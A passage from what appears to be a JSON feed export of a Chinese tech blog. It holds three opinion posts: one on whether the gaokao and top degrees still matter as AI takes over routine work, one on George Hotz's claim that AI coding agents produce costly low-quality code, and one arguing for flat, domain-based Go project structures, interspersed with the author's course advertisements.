Bai。\n今天，2026年6月7日，千万名考生再次走向战场。\n考场外，红色的横幅依然高悬，旗袍与鲜花依然簇拥。但在喧嚣之下，空气中却弥漫着一种前所未有的复杂情绪。\n数据已经给出了最直观的反馈：在经历了2024年1342万人的历史峰值后，2025年和2026年的高考报名人数连续两年出现下滑。2026年全国高考报名人数仅为1290万人，比2025年的1335万人还减少45万人\n生源的两连降，折射出的是无数家庭最深层的理性觉醒。在这个2026年的夏天，生成式AI、智能Agent和全自动工作流已经深度嵌入社会的每一个齿轮。\n前阵子，一位本科毕业于某顶尖985高校、刚刚工作两年的程序员在社交平台上发帖：\n“当年高考，我是全省前0.5%的做题家。辛辛苦苦在985卷了四年，以为拿到了中产阶级的入场券。结果工作不到两年，公司引入了AI 研发工作流。我现在每天90%的工作——写基础代码、debug、甚至写技术文档，AI两秒钟就能做得比我更好、更无懈可击。我开始怀疑，我那十二年的寒窗苦读，到底算什么？”\n这条帖子瞬间引爆了全网的共鸣与焦虑。\n今天的高考，我们还在为什么而战？如果连最顶尖的985、211学历，在AI面前都显得如此脆弱，我们付出的巨大代价，究竟在交换什么？\n斯坦福的残酷研究：为什么我们的大学无法对抗AI的清算？ 要回答“今天的高考还在为什么而战”，我们必须先看清一个长期被我们忽视的真相：我们的高等教育，正在让最聪明的年轻人“停止成长”。\n斯坦福大学联合北京大学、清华大学、俄罗斯高等经济学院等全球顶尖机构，在《Nature Human Behaviour》（自然-人类行为）上发表了一篇具有里程碑意义的长期追踪研究。\n研究团队对中国、美国、印度、俄罗斯数万名计算机和电子工程专业的学生进行了长达四年的标准化测试，得出了两个极具颠覆性的结论：\n入学时，中国高考生是无可争议的“世界霸主” 在18岁踏入大学校门的那一天，中国大一新生的学术能力和数理基础处于全球同龄人的金字塔尖，其批判性思维（Critical Thinking）能力也与美国同龄人完全持平。\n这证明，我们高强度的高考选拔，确实筛选出了这个星球上最聪明、最能吃苦、逻辑最严密的一批年轻人。\n毕业时，我们的学生经历了残酷的“技能退化” 然而，追踪到大四毕业时，情况发生了戏剧性的逆转。\n在大学四年里，美国学生的批判性思维能力实现了大幅度增长（约0.5个标准差）。而中国、印度和俄罗斯的学生，在四年里批判性思维几乎“零增长”，甚至在后两年出现了绝对值上的显著下降。\n在数学和物理等专业学术能力上，中国学生在大一结束后，也出现了明显的、绝对的技能损失（下降约0.3标准差）。\n这篇《Nature》论文揭示了一个近乎残酷的事实：中国的高考生在18岁那年达到了认知和技能的巅峰，然后，在大学四年里，他们被“严进宽出”的淘汰机制、陈旧的专业划分、以及重灌输轻思辨的教学模式，温水煮青蛙般地削弱了。\n当这群大四毕业生拿着“高起点、低增值”的认知系统，一头撞上2026年已经进化到能够自我迭代的AI系统时，悲剧就发生了。\n那些在大学里靠死记硬背应付考试拿下的GPA，在AI面前，连一秒钟的抵抗力都没有。\nAI时代的清算：被替代的90%，到底是什么？ 为什么那位985毕业生会感叹“AI替代了我90%的工作”？\n因为在2026年的今天，AI首先消灭的，恰恰是那些**“有明确标准、有套路可循、依赖信息检索和加工”**的白领工作。\n而这些工作，正是过去的大学教育最擅长培养、也是中产家庭最向往的就业方向：\n初级程序员：AI自动编程工具已经能完成大部分基础代码的编写与测试。 翻译与文案策划：多模态大模型能够瞬间生成符合各种文化语境的译文和营销方案。 基础数据分析师：复杂的报表统计、趋势预测，AI可以在极短时间内完成可视化输出。 … … 反思一下：这些被替代的工作，其核心特征不就是“做题”吗？\n给出一个明确的需求（题目），寻找最优的算法或方案（标准答案）。\n高考，是一场关于“寻找标准答案”的终极训练；而我们的大学，在过去很长一段时间里，只是这场训练的延续。\n当“做题”的能力被AI彻底平替，我们十二年寒窗苦读积累的优势，在这一瞬间被抹平了。\n2026年的质问：今天的高考，我们还在为什么而战？ 既然如此，我们为什么还要支持孩子去考场？高考在今天，究竟还有什么意义？\n如果我们依然把高考当成“通往高薪工作的自动售票机”，那我们一定会失望。因为那台售票机，已经坏了。\n但如果我们换一个视角，高考在2026年，依然是一场不可替代的**“成人礼”**。我们今天在高考中战斗，是为了拿回三样AI永远无法夺走的东西：\n1. 战的是“深度专注与抗挫折的底层神经元” 高考不仅考查知识，更是一场对意志力、抗压能力、多任务管理和长期深度专注力的极限训练。\n在碎片化信息和即时反馈（如短视频、快餐娱乐）毁掉一代人脑前额叶的时代，能够为了一个长远目标，日复一日地进行深度学习、克服枯燥和焦虑——这种“深度专注的神经机制”，是你未来驾驭AI、不被AI深度娱乐化奴役的唯一底层硬件。\n2. 战的是“在无标准答案世界里，寻找最优解的勇气” 很多人抱怨高考僵化，但高考恰恰教给普通人一件事：在规则极其明确的系统里，如何通过自我迭代，把自己的能力逼出极限。\n这种“在给定约束条件下，调动一切资源求得最优解”的肌肉记忆，在走出考场后，可以无缝迁移到任何一个充满未知、没有标准答案的领域。\n3. 战的是“改写自身命运的入场券” 尽管学历在贬值，但不可否认，高考依然是这个社会最公平、杂质最少的一次阶层跃迁和朋友圈重组的机会。\n你考上的名校，它所能给你的最大价值，已经不再是课堂上的专业知识（那些网上都有），而是和你并肩站在一起的、同样经历过极限训练的同龄人群体，以及这个平台带给你的眼界和高维认知。\n自救路径：考完之后，如何重塑你的“免裁系统”？ 明天之后，高考生们将迎来人生中最长的一个暑假。但请记住，真正的分水岭，从交卷的那一刻才刚刚开始。\n如果你不想在四年后成为那个被AI替代90%的“失业做题家”，你必须在大学第一天起，按照以下三步路径，重新设计自己的成长曲线：\n步骤一：从“答题者”转变为“提问者” 未来的价值，不取决于你脑子里记了多少标准答案，而取决于你能否向AI、向世界提出最具洞察力的问题。在大学里，多去问“为什么（Why）”和“如果……会怎样（What if）”，而不是仅仅去背诵“是什么（What）”。\n步骤二：建立你的“AI-Native”个人工作流 不要把AI当成作弊工具，而要把自己当成一个“AI团队的PM（项目经理）”。去学习如何编写结构化的Prompt，如何用多款AI工具协同完成一个研究报告、一个独立网站或一个创意视频。未来的竞争，不是人与AI的竞争，而是“掌握了AI的人”与“没掌握AI的人”的竞争。\n步骤三：死守“人性的护城河” 去体验真实的生活，去和不同背景的人深度交流，去大自然中感受风、光与温度。去阅读那些不考的经典著作，去思考没有标准答案的伦理与道德。\n人类特有的同理心、直觉、审美、物理世界的交互能力，以及在迷茫中坚守信仰的感性，是AI在很长一段时间里无法跨越的终极护城河。\n小结 后天，当千万名考生走出考场，迎接他们的将是一个与他们父母辈完全不同的世界。\n这个世界充满了不确定性，甚至有些冰冷。\n但请不要害怕。高考从未保证过我们一生的无忧，它只是给了我们一次证明自己可以“为了梦想竭尽全力”的机会。\n今天的高考，我们不为那张逐渐贬值的文凭而战，我们为那个在重压下历经淬炼、拥有无限自驱力、随时准备重塑自我的自己而战。\n祝所有2026届考生，考场得意，金榜题名；更祝你们，在人生的下一场AI风暴中，乘风破浪。\n资料链接：https://www.researchgate.net/publication/349707487_Skill_levels_and_gains_in_university_STEM_education_in_China_India_Russia_and_the_United_States\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/07/gaokao-in-the-age-of-ai-is-the-top-tier-degree-worthless/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/gaokao-in-the-age-of-ai-is-the-top-tier-degree-worthless-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/07/gaokao-in-the-age-of-ai-is-the-top-tier-degree-worthless\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/07/gaokao-in-the-age-of-ai-is-the-top-tier-degree-worthless\"\u003ehttps://tonybai.com/2026/06/07/gaokao-in-the-age-of-ai-is-the-top-tier-degree-worthless\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e今天，2026年6月7日，千万名考生再次走向战场。\u003c/p\u003e\n\u003cp\u003e考场外，红色的横幅依然高悬，旗袍与鲜花依然簇拥。但在喧嚣之下，空气中却弥漫着一种前所未有的复杂情绪。\u003c/p\u003e","title":"“辛辛苦苦考上985，却发现AI能替代我90%的工作”：今天的高考，我们还在为什么而战？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/06/geohot-slams-ai-agents-as-the-most-expensive-software-disaster\n大家好，我是Tony Bai。\n在 AI 辅助编程疯狂席卷全球的今天，几乎每个开发者的双眼都被“效率翻倍”、“一键生成应用”的狂热口号晃得睁不开眼。大厂管理层在积极推进“全员 AI 编码”，创业者在吹嘘“氛围编码（Vibe Coding）”。\n然而，就在这个全民狂欢的时刻，科技界最著名的叛逆天才、传奇黑客 George Hotz（网名 Geohot） 站了出来。他曾在 17 岁时成为全球首位解锁 iPhone 的人，随后又单枪匹马破解了 PS3，并创办了自动驾驶独角兽 Comma.ai。\n最近，Geohot 在他的个人博客上发表了一篇名为《The Eternal Sloptember（永恒的垃圾九月）》的文章。在这篇文章里，他用极其冰冷且辛辣的笔触写道：\n“我在这里立个 flag：在软件开发中引入 AI Agent，将是行业历史上代价最昂贵的错误之一。因为 Agent 根本不会写程序，而人们需要花越来越长的时间才能意识到这一点。”\n这篇文章迅速引爆了开发者社区。在 Reddit 的 r/webdev 板块上，该话题斩获了数千个高赞，引发了无数一线架构师和开发者的强烈共鸣。\n为什么这位顶级黑客会把 AI Agent 视为软件工程的毒瘤？他口中的“永恒垃圾九月”究竟隐藏着怎样可怕的行业真相？\n典故溯源：什么是“永恒的垃圾九月”？ 要理解 Geohot 的愤怒，我们首先需要理解他借用的一个历史梗——“永恒九月（Eternal September）”。\n在互联网早期的 Usenet 时代，每年九月，都会有大批大学新生接入网络。这群新手由于不懂网络礼仪（Netiquette），会短暂地破坏原有技术社区的纯粹与优雅。但过去，老用户们只需花费一个月时间，就能将这些新生“同化”。\n直到 1993 年 9 月，美国在线（AOL）向其数百万普通用户全面开放了 Usenet。新手的涌入再也没有停止过，原有社区的精致文化被彻底、永久地稀释了。从那以后，老网民将这个悲剧称为“永恒九月”。\nGeohot 认为，现在的软件工程正在经历一场由 AI Agent 带来的“永恒垃圾九月（The Eternal Sloptember）”：\n大模型（LLM）本质上是“高度复杂的统计模型，旨在模仿人类编程的分布”。它们吐出来的代码，在语法和格式上看起来天衣无缝，但在底层逻辑和系统架构上，往往是坏的、错的。最致命的是，这种“错”被包装得越来越隐蔽，越来越难以被察觉。\n无数根本不具备底层系统思维的“调参手”，正在用 AI 疯狂向世界的开源社区和企业代码库里倾倒垃圾代码（Slop）。\n“老虎机”效应：Geohot 历时半年的亲身实验 和那些只会纸上谈兵的评论家不同，Geohot 亲自用 AI 进行了长达 6 个月的深度开发实验。\n他尝试用 AI Agent 编写他的深度学习框架 tinygrad 的部分代码，甚至尝试用 AI 逆向工程一块 USB 到 PCIe 的芯片。\n他的实验结论可以用两个词来概括：极其失望。\n“AI 确实非常擅长快速搭建一个原型（Prototype），”Geohot 承认。但当你试图去打磨它、消灭最后 5% 的边缘 Bug、让其达到工业级标准时，AI 就会变成一台“老虎机（Slot Machine）”：\n[输入 Prompt] ───\u0026gt; 摇下老虎机摇杆 ───\u0026gt; [输出 buggy 代码 A] │ (发现错误，重新 Prompt) ▼ [输入修正 Prompt] ───\u0026gt; 再次摇下摇杆 ───\u0026gt; [输出稍微不同的 buggy 代码 B] 你一次次地拉下摇杆（修改 Prompt），AI 一次次给你吐出看似不同、实则依然带有微妙缺陷的代码。你感觉自己只差临门一脚，但你永远无法真正跨过那条代表“完美交付”的终点线。\n“这种试错和盲目摸索（类似Ralph loop），比我自己从第一性原理出发去手写，要慢得多。”Geohot 坦言，“这完全达不到我工作过的任何一家公司的基本技术门槛。”\n相比之下，他发现一个古老的自动漏洞挖掘工具 AFL（American Fuzzy Lop，模糊测试工具） 找出的代码漏洞都比大模型多。因为 AFL 是纯粹确定性的，它没有人类社交焦虑，更没有被 AI 公司的“心理战（Psyops）”所污染。\n大厂病灶：为什么非技术管理层会成为“垃圾代码”的帮凶？ 既然 AI Agent 开发如此低效，为什么现在各大巨头依然在疯狂推进？\nGeohot 揭示了企业管理层一个极其荒谬的逻辑漏洞：对“虚假指标”的崇拜。\n在大型企业中，管理层通常是非技术出身的。他们无法辨别代码的高级设计与品味，他们只能看懂看得见的指标——比如“开发进度图表”和“代码产出行数（Lines of Code, LOC）”。\n“那些底层的、平庸的开发者（Bottom Performers），通过使用 AI，突然产出了 10 倍的代码量。”\n管理层看到图表后大喜过望：“看啊！我们的团队多有效率！这个星期我们提交了 100 个 PR！”\n但他们不知道，这多出来的 10 倍代码，全部都是无法维护的“工业垃圾（Slop）”。\n这造成了极度扭曲的恶性循环：\n底层开发者用 AI 疯狂复制粘贴，提交海量垃圾 PR。 由于大企业的反馈循环极慢、极官僚，这些黑盒垃圾代码顺利混入主干分支。 认知负担转嫁：高水平的资深工程师（Top Performers）不得不花费双倍、甚至十倍的精力和认知负载（Cognitive Load），去帮这些 AI 审查代码擦屁股、Debug。 这就是为什么 Geohot 说：“AI Agent 对大企业的伤害，远比对个人或小团队的伤害要深得多。”\n终局梦醒：当黑盒代码的“账单”到期 Reddit r/webdev 板块上的大批大厂老兵，用自己身边的真实惨剧，印证了 Geohot 的预言。\n一位在 Fortune 100 强企业工作的开发者留言道：\n他们的管理层在大会上狂热地宣称“AI 将接管一切开发，以后周五下午直接让 AI 部署 1 万行代码上线”。\n“我们这些一线的工程师在下面默默看着。等这波 AI 狂热退去，账单到期，面对一堆无人能懂的‘黑盒代码（Black Boxes）’在半夜 3 点崩溃时，这些管理层会迎来极其残酷的梦醒时刻。”\n目前的微服务和企业级软件，本就已经因为复杂的业务需求和拼凑的库而变得极其脆弱。一旦你引入 AI，让它用“在 StackOverflow 上抄来的、似是而非的代码”去填补这些系统的空隙，你实际上是在制造一个**“无法被任何人理解、也无法被任何人重构”的终极怪胎**。\n“没有经验的 junior 开发者加上 AI，就是一场灾难的配方。” 另一位老兵写道。\n幸存者法则：别在“AI 妄想症”中自残 面对这场由大厂和 AI 巨头联手制造的“AI 妄想症（AI Psychosis）”，真正的工程师该如何自救？\nGeohot 在文章的结尾，给出了一个极具力量、甚至带有一丝英雄主义的生存守则：\n“这个时代真正的故事，将是谁能在这场‘AI 妄想症’中保持清醒，不伤害到自己。”\n回归第一性原理（First-Principles）：放弃用 AI 盲目试错。当你遇到技术难题时，去读书，去查阅最干净、最硬核的一手的底层文档，搞清楚 CPU、内存和操作系统的底层运行机制。 把 AI 降级为助手，而不是总监：Geohot 并不排斥 AI，但他对 AI 的定位极其清晰——它是一个更聪明的谷歌搜索，是一个帮你写样板代码、帮你写测试基准（Benchmarks）的高效秘书。但系统的架构设计、核心逻辑和最终决策，必须牢牢握在你自己的手里。 拒绝成为平庸的羊群：当周围的人都在用 AI 批量生产垃圾代码并为此沾沾自喜时，保持克制，坚持对完美、优雅和高性能的代码品味的追求。 技术世界正在迎来一场由大量平庸代码构成的泥石流。但泥石流终会退去，那些在风暴中死守底层常识、拒绝交出思考方向盘的真正工程师，将在废墟之上，重建这个世界的数字基石。\n资料链接：\nhttps://www.reddit.com/r/webdev/comments/1tvsfgj/im_calling_it_now_the_adoption_of_ai_agents_into/ https://geohot.github.io/blog/jekyll/update/2026/05/24/the-eternal-sloptember.html 今日开放讨论：\n你同意 Geohot 关于“AI 降低了代码质量，最终会拖垮大企业系统”的悲观论调吗？在你的团队里，是否也出现了“LOC（代码行数）增加，但系统却变得越来越像黑盒”的苗头？\n欢迎在评论区分享你的一线工程经历，我们一起在这个狂热的时代保持冷峻的思考！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/06/geohot-slams-ai-agents-as-the-most-expensive-software-disaster/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/geohot-slams-ai-agents-as-the-most-expensive-software-disaster-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/06/geohot-slams-ai-agents-as-the-most-expensive-software-disaster\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/06/geohot-slams-ai-agents-as-the-most-expensive-software-disaster\"\u003ehttps://tonybai.com/2026/06/06/geohot-slams-ai-agents-as-the-most-expensive-software-disaster\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 AI 辅助编程疯狂席卷全球的今天，几乎每个开发者的双眼都被“效率翻倍”、“一键生成应用”的狂热口号晃得睁不开眼。大厂管理层在积极推进“全员 AI 编码”，创业者在吹嘘“氛围编码（Vibe Coding）”。\u003c/p\u003e","title":"传奇黑客 Geohot 炮轰 AI Agent：这是软件工程史上代价最昂贵的灾难！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/05/stop-writing-go-like-java-avoid-over-architecting\n大家好，我是Tony Bai。\n前不久，Go 语言社区 Reddit (r/golang) 上爆发了两场激烈的争论。\n这两个帖子的主题直击了无数 Go 开发者的灵魂深处：\n我们该如何构建一个大型的 Go 模块化单体架构，而不被复杂的“架构设计”淹没？ 为什么现在的 Go 项目里，pkg 和 internal 目录被滥用得如此令人发指？ 如果你正在维护一个中大型的 Go 后端项目，你大概率经历过这样的绝望时刻：为了加一个极其简单的业务字段，你需要穿透 handler、usecase、domain、repository、adapter 等足足五层抽象结构；你的项目根目录下躺着一个 pkg 文件夹，里面又套着 internal，代码藏在七八级目录深处。\n你以为你在写出业界最高标准的“整洁架构（Clean Architecture）”，但实际上，你正在把 Go 语言写成你曾经最讨厌的“臃肿企业级 Java”。\n今天，我们就来透过这层过度工程（Over-engineering）的外衣，看看顶级开发者们是如何打破这种“架构伪神话”，用最符合 Go 哲学的极简方式，构建起能支撑千万级流量的大型单体项目的。\n被“标准规范”毒害的洋葱病 在一个全新的 Go 项目立项时，很多技术负责人的第一反应就是去 GitHub 搜一个叫做 golang-standards/project-layout 的高赞仓库，然后照猫画虎地建起一堆目录。\n紧接着，悲剧就开始了。综合 Reddit 各位资深大佬的吐血经验，以下两大陷阱，几乎踩中了 90% 的业务团队：\n陷阱 1：“死去的” pkg 与被滥用的 internal 帖子原作者一针见血地指出：pkg 目录是时代的眼泪，而 internal 正在遭受前所未有的滥用。\n在早期的 GOPATH 时代，我们需要一个地方来区分业务代码和第三方包，于是有了 pkg。但在 Go Modules 已经全面普及的今天，你的代码仓库根目录本身就是一个 Module。在 root 下面再嵌套一层 pkg 纯粹是“脱裤子放屁”——它除了让你的 import 路径变长 4 个字符之外，没有任何实际意义。\n更致命的是 internal。官方引入 internal 是为了防止库开发者暴露内部 API 给第三方。但是现在的业务开发团队，为了所谓的“代码隔离”，盲目地把整个 App 的所有核心逻辑全塞进 internal，导致项目结构变成了这样：\ninternal/app/modules/order/usecase/impl/order.go 当你接手这种代码时，你每天有 30% 的时间在 VSCode 里狂按文件树，试图搞清楚自己到底在哪。\n陷阱 2：生搬硬套的 DDD 与洋葱架构（Clean Architecture） 一位在电商公司写 Go 的老哥抱怨道：他试图用严格的 DDD（领域驱动设计）和六边形架构来组织他的模块化单体代码。结果是，随着项目增大，维持这种“整洁”变成了噩梦。\n每一次新增功能，都要处理无休止的接口绑定（Wiring dependencies）、防止循环引用，以及为了“解耦”而写的大量毫无意义的样板代码（Boilerplate）。“我感觉自己花在维护架构上的时间，甚至超过了实际交付业务功能的时间。”\n记住：Go 语言的灵魂是简单直接。强行引入 Java/C# 语境下的沉重分层，就像给一辆轻巧的保时捷跑车装上了坦克的履带。\n为什么“扁平化”才是 Go 架构的尽头？ 面对这种极度臃肿的代码，我们在 Reddit 的评论区看到了海外老炮们的共识：Opting for a flatter structure typically guides you organically away from overly nested internal. (选择更扁平的结构，通常能自然而然地引导你远离过度嵌套的代码气味)。\n在 Go 语言中，优秀的架构并不是靠“目录分层”来体现的，而是靠“领域边界（Domain Boundaries）”和“依赖流向”来体现的。\n真相 1：Package 的划分应该基于“业务能力”，而不是“技术层次” 把项目按 controllers/、services/、models/ 划分是典型的反模式（MVC遗毒）。这种结构下，如果你要修改一个关于“订单”的功能，你必须在好几个目录下反复横跳。\n真正懂 Go 的做法是：按领域（Domain）划分子包。 一个 order 包里，就应该包含订单的结构体、订单的仓储接口、乃至相关的处理逻辑。所有的东西都在一起，高内聚。\n真相 2：不需要过度设计“防腐层”，直到你真正觉得痛 一些高级开发者指出，他们宁愿花更多的时间去做“事件风暴（EventStorming）”和领域建模，也不愿意去写抽象接口。如果你的 order_repository.go 从第一天起就只有一个 Postgres 实现，且未来三年都不会换数据库，那么你为了“解耦”而提取的一个洋葱接口层，就是纯粹的成本浪费。\n大型 Go 项目实用构建指南 抛开那些玄乎其玄的词汇，如果你想构建一个不崩溃的、好维护的大型模块化单体（Modular Monolith），请立刻遵循以下四条“少即是多”的务实法则：\n法则 1：干掉 pkg，克制使用 internal 除非你正在写一个准备开源给全世界使用的公共 Library 包，否则你的微服务或单体 Web 应用根本不需要 pkg 目录。\n同样，把你的核心代码从深渊般的 internal/app/core/… 中解放出来。把业务包直接平铺在根目录或者按大模块放在一个外层目录即可。让文件树尽可能的“浅”。\n法则 2：采用极简的领域扁平结构（Domain-Driven Flattening） 正如评论区大佬给出的终极解法，你的项目结构应该看起来像这样：\ncmd/ server/main.go // 所有依赖注入和组装都在这里完成（Composition Root） domain/ // 或者直接放在根目录 order/ order.go // 领域模型（Entity/Aggregate） repository.go // 接口（依赖倒置，只定义 order 需要什么） postgres_repo.go // 直接在同一个包下实现，或者平铺 user/ ... catalog/ ... 不要再建什么 port 和 adapter 文件夹了！order.go 就是你的核心，postgres_repo.go 就是它的具体实现。它们呆在一个包里，简单明了，任何人 grep 搜索一下就能秒懂。\n法则 3：让 Consumer 定义接口（Interface Segregation） 很多人为了解耦，喜欢在一个单独的 interface 包里定义全局接口，这又是 Java 思维作祟。\n在 Go 里，接口应该是“隐式实现”的。不要在提供者（Provider）端定义接口，要在消费者（Consumer）端定义。\n比如 order 包需要发邮件，它不应该去依赖 email 包的接口。它应该在自己的包里定义一个极小的 type Mailer interface { Send(…) }，然后在 main.go 中把真正的 Email 服务注入进去。这就是 Go 解除循环依赖的最强法宝。\n法则 4：一切脏活累活，全扔进 main.go 对于单体应用来说，不要试图在每个模块内部做复杂的自动依赖注入（Autowiring）或自启动钩子。\n保持每个模块都是极度干净、被动的。然后在你唯一的 cmd/server/main.go 里，显式地初始化数据库、初始化各个模块、然后手动把它们组装（Wire）在一起。是的，这个 main.go 可能会有几百行甚至上千行，但它让你在启动时一目了然，排查问题再也不用像个无头苍蝇一样在迷宫里乱撞了。\n小结：回归大道至简 不管是摒弃 pkg，还是剥离 500 层的“整洁架构”，这背后体现的其实是 Go 语言最深刻的哲学：Pragmatism（务实主义）。\n技术架构的终极目标，是为了让人读得懂，让业务跑得快，而不是为了满足程序员在代码里“建构精密钟表”的虚荣心。\n如果你的代码不能让人在 30 秒内找到修改点，不能让你通过一个简单的 grep 搜索就锁定业务逻辑，那么不管你的架构图画得多么符合六边形、洋葱或者 DDD 规范，它都是一个失败的设计。\n所以，立刻打开你的 IDE，试着把你那些嵌套了五六层的文件夹拖出来吧。相信我，当你删掉那一堆废话般的中间层接口时，你会感受到前所未有的舒畅。\n资料链接：\nhttps://www.reddit.com/r/golang/comments/1tftqpj/how_do_you_structure_and_maintain_large_go/ https://www.reddit.com/r/golang/comments/1tft8ds/pkg_internal_directories_are_way_overused/ 今日互动探讨：\n在你的 Go 项目里，曾经为了遵循所谓的“规范设计”做过哪些现在看起来极其离谱的过度工程？你现在的项目是扁平结构还是洋葱结构？\n欢迎在评论区留言晒出你的代码结构，或者 @出那个每天沉迷于建文件夹的同事。让我们一起探讨，什么是真正的“Go 语言地道之美”！\n(如果你觉得这篇实操指南帮到了你，请不要吝啬你的点赞和转发！)\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/05/stop-writing-go-like-java-avoid-over-architecting/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/stop-writing-go-like-java-avoid-over-architecting-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/05/stop-writing-go-like-java-avoid-over-architecting\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/05/stop-writing-go-like-java-avoid-over-architecting\"\u003ehttps://tonybai.com/2026/06/05/stop-writing-go-like-java-avoid-over-architecting\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e前不久，Go 语言社区 Reddit (r/golang) 上爆发了两场激烈的争论。\u003c/p\u003e\n\u003cp\u003e这两个帖子的主题直击了无数 Go 开发者的灵魂深处：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e我们该如何构建一个大型的 Go 模块化单体架构，而不被复杂的“架构设计”淹没？\u003c/li\u003e\n\u003cli\u003e为什么现在的 Go 项目里，pkg 和 internal 目录被滥用得如此令人发指？\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e如果你正在维护一个中大型的 Go 后端项目，你大概率经历过这样的绝望时刻：为了加一个极其简单的业务字段，你需要穿透 handler、usecase、domain、repository、adapter 等足足五层抽象结构；你的项目根目录下躺着一个 pkg 文件夹，里面又套着 internal，代码藏在七八级目录深处。\u003c/p\u003e","title":"别把 Go 写成 Java：毁掉项目从过度架构开始"},{"content":"\n本文永久链接 – 